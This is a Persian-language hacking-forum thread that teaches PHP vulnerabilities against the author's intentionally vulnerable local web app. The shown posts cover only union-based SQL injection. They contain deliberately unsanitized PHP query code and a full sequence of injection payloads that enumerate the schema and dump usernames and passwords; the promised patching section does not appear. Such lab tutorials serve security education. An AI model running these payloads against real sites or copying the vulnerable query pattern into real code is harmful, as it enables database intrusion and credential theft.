discord icon
سرور دیسکورد گاردایران
Phoen1X

آموزش آسیب پذیری های PHP و نحوه پچ کردن

پست های پیشنهاد شده

به نام خدا

در این تاپیک قصد دارم تا آموزش آسیب پذیری های PHP و نحوه پچ کردن اون هارو آموزش بدم پیش نیاز این تاپیک اسکریپتی هست که من برای تیم نوشتم(اینجا) و آشنایی ابتدایی با زبان php در این تاپیک سعی میکنم که آسیب پذیری هارو به صورت کامل یعنی اول برسی میکنیم که چطور این آسیب پذیری به وجود میاد بعد این که یک نفوذگر چطور با استفاده از این آسیب پذیری به وب سایت شما نفوذ می کنه و بعد هم نحوه پچ کردن اون آسیب پذیری.

سر فصل آموزش ها :

- SQL Injection

- Blind SQL Injection

- Authentication Bypass

- File Upload

-  Stored Cross Site Scripting

-  Reflected Cross Site Scripting

- Dom Cross Site Scripting

- Cross Site Request Forgery

- Remote File Inclusion

- Local File Disclosure/Download

- Remote Code Execution

- Remote Command Execution

تاپیک به مرور زمان آپدیت خواهد شد پس لطفا با اسپم های بی جا خرابش نکنین سوالی داشتید میتونید در پ.خ و یا در بخش مربوطه بپرسید

 

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

خب تاپیک رو شروع کنیم ببینیم تا کجا میریم :) 

بعد از دانلود GuardIran Vulnerable WebApp به پوشه ایی که ریختیدش برید و بعد پوشه includes رو باز کنید و فایل sql.php رو در ادیتور دلخواهتون باز کنید در مرورگر هم بعد از روشن کردن apache  و mysql به آدرس localhost/name of your file برید .

خب حالا شروع میکنیم :

ببینید آسیب پذیری sql injection درحال حاضر فراگیر ترین آسیب پذیری موجود هستش و این آسیب پذیری فقط مخصوص php نیست و در زبان های دیگه مثل java هم رخ میده و نفوذ کردن هم متود های خیلی زیادی داره مثل Union Based , Time Delay Based , Boolean Based , Error Based و ... که من در این تاپیک نمی تونم به همش بپردازم چون که میشه صرفا آموزش نفوذ و برادران فیلترینگ تاپیک رو فیلتر می کنن :( ولی بعد از این تاپیک احتمالا آموزش کامل sql injection رو در بخش VIP بذارم اما چیزی که امروز یاد میگیریم روش union based هستش . اگر که در فایل sql.php به خط 40 برید با کد زیر مواجه میشید 

$id = $_GET["id"];
if (isset($_GET['id'])){
				$conn = new mysqli($_sv, $_user, $_pass, "GIVuln");
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 
				$sql = "SELECT id, user, email FROM login WHERE id='$id'";
				$res = $conn->query($sql);

				if ($res->num_rows > 0) {
					while($row = $res->fetch_assoc()) {
						echo "<h3 class='text-center'style='color:#FFF;'>You Can Contact Me By This Email :<br/>" . $row['email'] . "</h3>";

					}
				} else {
					echo "0 results";
				}
				$conn->close();

 

همینطوری که می بینید در اینجا ما id رو توسط متود get از یوزر دریافت و با استفاده از query زیر id مربوط به یوزری که در دیتابیس هست رو پیدا و ایمیل مربوطه رو نمایش میدیم 

SELECT id, user, email FROM login WHERE id='$id'

خب ما هیچ فیلتری انجام ندادیم و به یوزر خودمون به صورت کامل اطمینان کردیم اما اگر یوزر ما یک نفوذ گر باشه میاد و صفحرو با گذاشتن یک ' و " تست می کنه و query ما به شکل زیر در میاد

SELECT id, user, email FROM login WHERE id='$id''

خب میبینید که یک ' باز و بسته شده ولی دیگری بسته نشده برای همین mysql به ما ارور رو نشون میده و بدین صورت نفوذگر میفهمه که صفحه اسیب پذیر هستش و حالا باید با استفاده از یک روش ارور رو برطرف کنه بطوری که بتونه query خودش هم که میخواد اجرا شه رو در اون قرار بده برای همین منظور میاد از دستور union استفاده می کنه که این دستور میاد و به mysql میگه 

SELECT id, user, email FROM login WHERE id='$id'

این کد رو اجرا کن و در کنارش کد من هم اجرا کن ولی قبلش باید ارور رو برطرف کنه برای همین ما میایم با استفاده از --+ و /+ بقیه کد رو کامنت میکنیم تا ارور نگیریم اما حالا ما نیاز داریم که بفهمیم که من در دستورم از چند کالومن استفاده کردم شما توی دستور بالا می بینید که 3 تا هستش ولی ما باید خودمون تست کنیم و این رو پیدا کنیم برای همین میایم از دستور order by استفاده می کنیم این دستور میگه که mysql نتایج رو بر اساس کالومن شماره فلان مرتب کن اما نتایج در صفحه برای شما ظاهر نمی شه ولی در واقع داره پشت صفحه در محیط mysql اجرا میشه و وقتی از تعداد کالومن های مورد استفاده برنامه نویس بیشتر شد ارور میده و میگه که من بیشتر از این کالومن ندارم که بخوام به شما نشون بدم به اینصورت ما میفهمیم که صفحه چند کالومن داره که اجرای order by به شکل زیر هستش

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 1--+ اروری دریافت نشد :(
http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 2--+ اروری دریافت نشد :(
http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 3--+ اروری دریافت نشد :(
http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 4--+ ارور دریافت شد :)

خب صفحه میگه من چهار تا کالومن ندارم که به شما نشون بدم برای همین میفهمیم که از 3 کالومن استفاده شده حالا باید با استفاده از دستور union select بفهمیم که برنامه نویس داره از کدوم کالومن استفاده می کنه که دستورات به شکل زیر هستش ولی خب الزامی نیست که ما 1و2و3و... وارد کنیم میتونیم هرچیزی دلمون خواست وارد کنیم مثلا a,b,c

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,3-- 

متاسفانه در بین دوستانی که آموزش میدن یک باور غلطی وجود داره و اون اینه که میگن union select کالومن یا ستون آسیب پذیر رو نشون میده ولی نه در واقع اینطور نیست بلکه این دستور میاد زیر هرکدوم از ستون ها اون چیزی که مانوشتیم رو مینویسه و فقط اونی به ما نشون داده میشه که برنامه نویس در اسکریپت ازش استفاده کرده اگر به سورس صفحه دقت کنید من فقط گفتم که email رو نشون بده و در query ایمیل من به عنوان ستون شماره سوم انتخاب شده 

1.jpgو قاعدتا شماره 3 برای من نمایش داده میشه خب حالا من میتونیم در شماره 3 اون چیزی رو که میخوام بهم نشون بده رو بنویسم یعنی بگم جداول رو به من نشون بده اما من که اسم دیتابیس رو نمی دونم برای همین میام از تابع database() استفاده می کنم و می نویسم 

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,database()-- 

که برای شما باید givuln رو نمایش بده حالا اسم دیتابیس رو فهمیدم ولی اسم جدول رو نمیدونم اما این رو میدونم که در mysql ورژن 5 به بالا در دیتابیس information_schema جدولی وجود داره به اسم tables که تمامی جدول ها در اون ذخیره میشن برای همین میام با استفاده از دستور union به دیتابیس میگم که تمامی اطلاعات ستون table_name (ستونی هستش که در اون نام تیبل ها نوشته شده)از اون اون جدول رو به من نشون بده جایی که table_schema(ستونی که در اون نام دیتابیس هستش) برابر باشه با دیتابیس خودمون که به این شکل هستش 

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,table_name from information_schema.tables where table_schema=database()--+

که در اینجا بعد از نقطه نام جدول و در شماره 3 مینویسم table_name تا اطلاعات اون به من نمایش داده بشن. الان به دو روش میتونید کار کنید یا همینطوری بگردید دنبال اسم جدول یا با استفاده از دستور limit دونه دونه چک کنید که به شکل زیر هستش 

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1--+

که این دستور به این صورت عمل می کنه که اول شماره خروجی رو تایین می کنیم و بعد تعداد اطلاعاتی که میخوایم بعد از هر بار زدن برای ما نمایش داده بشه

ادامه در پست بعد ...

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

خب قسمت دوم رو شروع کنیم :)

چیز زیادی نمونده فقط خارج کردن اطلاعات از تیبل هستش و بعد میریم سراغ mysql ورژن 4 به پایین و blind sql injection و آموزش پچ کردن :) 

برای دیدن ستون ها میتونیم از جدول columns استفاده کنیم که به این صورت هستش دقت کنید بعد از نقطه information_schema اسم تیبل نوشته میشه

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,column_name from information_schema.columns--+

و بدین صورت فیلتر می کنیم تا اطلاعات فقط از تیبلی که میخوایم نمایش داده بشه

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,column_name from information_schema.columns where table_name='login'--+

بین '' اسم ستون رو مینویسیم تا mysql با جدول اشتباه نگیره و حالا ما تمام اطلاعات رو داریم و فقط کافیه به این صورت اطلاعات رو از جدول بیرون بکشیم

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,password) from login--+

حالا میتونیم هر کد html ایی که دلمون بخواد رو تزیق کنیم تا زیبا تر نمایش داده به بشن خب من میخوام بین user و password ---> بزارم و در پایان هم بگم هر لاین رو بشکن برای همین از کد های html زیر استفاده میکنم ولی برای این که mysql بفهمه که اینی که دارم مینویسم در واقع نام یک ستون نیست باید کد هارو به hex تبدیل کنم و بین هرجا که میخوام بزارم و البته باید با , هر ورودی رو جدا کنیم که به صورت زیر هستش 

<span style="color:red">----></span>
<br>
-----------

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,0x3C7370616E207374796C653D22636F6C6F723A726564223E2D2D2D3E3C2F7370616E3E,password,0x3C62723E) from login-- 

که میتونیم با استفاده از توابع hex و unhex هم کار خودمون رو راحت تر کنیم که به این صورت هستش 

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,unhex(hex('<span style="color:red">----></span>')),password,unhex(hex('<br>'))) from login-- 

* از group_concat برای متصل کردن چندین رشته به هم استفاده میشه

در mysql ورژن 5 به پایین تمامی مراحلی که با دیتابیس information_schema کار می کنیم حذف میشن و باید خودمون حدس بزنیم که به این صورت هستش

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,3 from login--+

به جای login باید اسم تیبلی که حدس زدیم رو بنویسم

و به این صورت هم باید اسم ستون رو حدس

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,user from login--+

که به جای user باید اسم ستونی که حدس زدیم رو بنویسیم

تمام شد فقط یک سری نکات اضافی وجود داره که میگم :

به جای --+ میتونیم از /* استفاده کنیم

و به جای کد های hex میتونیم از کاراکتر های ascii استفاده کنیم مثلا به این صورت

http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,char(045),char(045),char(062),password,char(045)) from login--+

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری